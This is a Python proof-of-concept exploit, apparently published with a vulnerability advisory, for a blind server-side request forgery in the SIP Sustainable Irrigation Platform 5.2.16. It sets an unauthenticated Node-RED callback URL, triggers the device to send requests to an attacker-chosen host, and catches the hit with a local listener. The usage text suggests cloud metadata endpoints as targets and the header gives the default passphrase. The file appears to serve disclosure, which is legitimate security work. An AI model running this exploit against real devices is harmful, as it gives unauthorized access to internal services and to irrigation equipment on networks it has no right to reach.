#!/usr/bin/env python3 # # # SIP Sustainable Irrigation Platform 5.x (nr-url) Blind SSRF # # # Vendor: Dan-in-CA # Product web page: https://github.com/Dan-in-CA/SIP # Affected version: 5.2.16 # # Summary: SIP is a free Raspberry Pi based Python program for # controlling irrigation systems (sprinkler, drip, hydroponic, # etc). It uses web technology to provide an intuitive user # interface (UI) in several languages. The UI can be accessed # in your favorite browser on desktop, laptop, and mobile devices. # SIP has also been used to control pumps, lights, and other Irrigation # related equipment. # # Desc: The application accepts an attacker-supplied callback URL # and, when the optional Node-RED plugin is installed, later issues # server-side HTTP requests to that URL without validating it. This # can be exploited to make the device send requests to arbitrary internal # or external systems on the attacker's behalf, reaching services # that are otherwise not directly accessible. When the optional passphrase # is not enabled (factory default) configuring the URL and triggering # the request require no authentication, and where the passphrase is # enabled it defaults to 'opendoor'. # # ----------------------------------------------------------------------- # $ python sip_ssrf.py 192.168.1.9 192.168.2.33 9000 # === SIP SSRF PoC :: TARGET=http://192.168.1.9 === # [*] Node-RED present (/jsin -> HTTP 200, ver="5.2.16") # # [*] nr-url payload : http://192.168.2.33:9000/ssrf-ZSL-PWN-1783027887 # a) set callback (unauth) -> HTTP 303 # b) trigger outbound (unauth)-> HTTP 200 # # [+] SSRF successful -- SIP made a server-side request to us: # 2026-07-02T23:31:28.393794 HIT POST /ssrf-ZSL-PWN-1783027887 from=192.168.1.9 body='water level set to 42' # # Done. # # ----------------------------------------------------------------------- # # Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64) # Python 3.9.2 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2026-5998 # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5998 # # # 24.06.2026 # from http.server import BaseHTTPRequestHandler, HTTPServer import urllib.parse import http.client import threading import datetime import time import ssl import sys if len(sys.argv) < 3: print("usage: python sip_exploit.py [aport] [ssrf-url]\n" " SIP ip/host or ip/host:port (http:// or https:// optional)\n" " ip/host phone home\n" " [aport] local listener port (default 9000)\n" " [ssrf-url] fire nr-url at this exact URL (blind), omit for auto canary\n" "example:\n" " python sip_ssrf.py 2.2.2.2:8083 7.7.7.7 9000\n" " python sip_ssrf.py 2.2.2.2:8083 7.7.7.7 9000 http://169.254.169.254/latest/meta-data/") sys.exit(1) TARGET = sys.argv[1] ATTACKER = sys.argv[2] APORT = int(sys.argv[3]) if len(sys.argv) > 3 else 9000 SSRF_URL = sys.argv[4] if len(sys.argv) > 4 else None SCHEME = "http" if TARGET.startswith("https://"): SCHEME, TARGET = "https", TARGET[8:] elif TARGET.startswith("http://"): SCHEME, TARGET = "http", TARGET[7:] TARGET = TARGET.strip("/") MARK = "ZSL-PWN-%d" % int(time.time()) HITS = [] class Handler(BaseHTTPRequestHandler): def _go(self, method): n = int(self.headers.get("Content-Length", 0) or 0) body = self.rfile.read(n).decode("utf-8", "replace") if n else "" HITS.append("%s HIT %s %s from=%s body=%r" % (datetime.datetime.now().isoformat(), method, self.path, self.client_address[0], body)) self.send_response(200); self.send_header("Content-Length", "2"); self.end_headers(); self.wfile.write(b"ok") def do_GET(self): self._go("GET") def do_POST(self): self._go("POST") def log_message(self, *a): pass def start_listener(port): try: srv = HTTPServer(("0.0.0.0", port), Handler) except OSError as e: raise SystemExit("[!] cannot bind 0.0.0.0:%d - %s" % (port, e)) threading.Thread(target=srv.serve_forever, daemon=True).start() def req(method, path, body=None): host, _, port = TARGET.partition(":") port = int(port) if port else (443 if SCHEME == "https" else 80) if SCHEME == "https": conn = http.client.HTTPSConnection(host, port, timeout=12, context=ssl._create_unverified_context()) else: conn = http.client.HTTPConnection(host, port, timeout=12) headers = {"Content-Type": "application/json"} if body is not None else {} conn.request(method, path, body=body, headers=headers) r = conn.getresponse(); data = r.read(); conn.close() return r.status, data def main(): base = "%s://%s" % (SCHEME, TARGET) print("=== SIP SSRF PoC :: TARGET=%s ===" % base) # Check Node-RED try: s, data = req("GET", "/jsin?gv=ver_str") except Exception as e: raise SystemExit("[!] cannot reach %s : %s" % (base, e)) if s == 404: raise SystemExit("[!] /jsin -> 404 : Node-RED plugin not loaded on target. SSRF not present.") print("[*] Node-RED present (/jsin -> HTTP %d, ver=%s)" % (s, data.decode("utf-8", "replace").strip())) if SSRF_URL: nr_url, confirmable = SSRF_URL, False else: start_listener(APORT) nr_url, confirmable = "%s://%s:%d/ssrf-%s" % (SCHEME, ATTACKER, APORT, MARK), True enc = urllib.parse.quote(nr_url, safe="") print("\n[*] nr-url payload : %s" % nr_url) s, _ = req("GET", "/node-red-save?nr-url=%s&chng-sd=on&chng-wl=on" % enc) print(" a) set callback (unauth) -> HTTP %d" % s) try: s, _ = req("POST", "/jsin", body='{"sd":"wl","val":42}') print(" b) trigger outbound (unauth)-> HTTP %d" % s) except (TimeoutError, OSError): print(" b) trigger outbound (unauth)-> timed out: SIP is blocking the call to nr-url") print(" (no server-side timeout -> the request is being made, blind)") if not confirmable: print("\n[*] Fired (blind) at %s -- confirm via your own OOB canary / target-side timing." % nr_url) print("done."); return time.sleep(2) hits = [h for h in HITS if ("/ssrf-" + MARK) in h] if hits: print("\n[+] SSRF successful -- SIP made a server-side request to us:") for h in hits: print(" " + h) else: print("\n[-] no callback. checklist: %s:%d reachable from SIP (port-forward / firewall)? " "(node_red confirmed above, so the egress path is the usual blocker.)" % (ATTACKER, APORT)) print("\nDone.") if __name__ == "__main__": main()